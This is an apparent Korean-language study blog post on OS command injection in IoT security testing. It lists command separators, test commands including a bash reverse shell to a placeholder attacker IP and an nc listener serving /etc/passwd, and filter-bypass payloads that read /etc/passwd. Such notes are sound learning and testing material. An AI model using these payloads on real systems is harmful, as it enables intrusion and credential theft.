정보보안
[IoT보안] OS 커멘드 인젝션이란?
영민하게
2022. 12. 12. 21:45
반응형
[IoT보안이란?] 2022.12.12 - [정보보안] - [IoT 보안] IoT 보안 및 점검대상 알아보기
[IoT 보안] IoT보안 및 점검대상 알아보기
IoT란? : Internet of Things의 약어로 사물에 센서와 통신 기능을 내장하여 인터넷에 연결하는 기술을 의미한다. - wikipedia 일상속의 IoT IoT 해킹 취약성 · 디바이스에 관리 목적으로 내장된 수단이 악
cloudinfosec.tistory.com
OS 커멘드 인젝션 (Command Injection)
공격자가 구문을 삽입하여 악의된 명령이 실행되는 공격기법을 말한다.
IoT 기기 특성상 온전한 운영체제로 사용자에게 제공되기 때문에, 커멘드 인젝션은 필수 점검 항목으로 꼽힌다.
명령구분자
: 방어법으로 사용되는 필터링을 우회하기 위해 명령 구분자가 사용된다.
(명령1) ; (명령2) | 명령1의 성공여부와 관계없이 명령2를 실행 |
(명령1) $ (명령2) | 명령1을 백그라운드로 실행하며 명령2를 실행 |
(명령1) | (명령2) | 명령1의 실행결과를 명령2의 입력값으로 실행 |
공격 테스트 명령
명령어 | 설명 |
ping -c 10 (공격자 IP) | 공격자 IP로 ICMP메시지를 10번 전송하는 명령어, 공격자는 10개의 패킷 수신 여부를 통해 공격의 성공여부를 알 수 있다. |
nc -l -p (포트번호) < etc/passwd | 공격 성공 이후 공격자 pc 접근시 패스워드 파일의 내용을 노출시킨다. |
bash -i > & /dev/tcp/(공격자IP)/(포트번호) 0>&1 | bash쉘을 사용할 경우 해당 명령어로 대화형 쉘을 획득 할 수 있다. |
telnetd | 텔넷 서비스를 구동한다. 공격자는 로컬 PC에 텔넷으로 접근하여 공격 성공여부를 확인 할 수 있다. |
busybox (명령어) | UNIX기반 시스템의 경우 busybox상 다양한 명령어가 존재할 수 있다. |
필터링 우회
: bash 쉘의 경우 IFS(Internal Field Separator)라는 내부 필드 구분자가 존재하며 다양한 우회 기법을 점검할 수 있다.
중괄호 및 쉼표: {cat,/etc/passwd}
환경변수 호출 및 공백: X=$'cat\x20/etc/passwd'&&$X
c'a't /etc/passwd
백 슬래시 사용: c\a\t /etc/passwd
와일드카드 사용: /b??/?? t /???/p?? s??
본 게시물은 학습 기록을 위한 포스팅입니다. 악의적인 목적으로 이용 시 발생할 수 있는 모든 법적 책임은 자신에게 있습니다.
반응형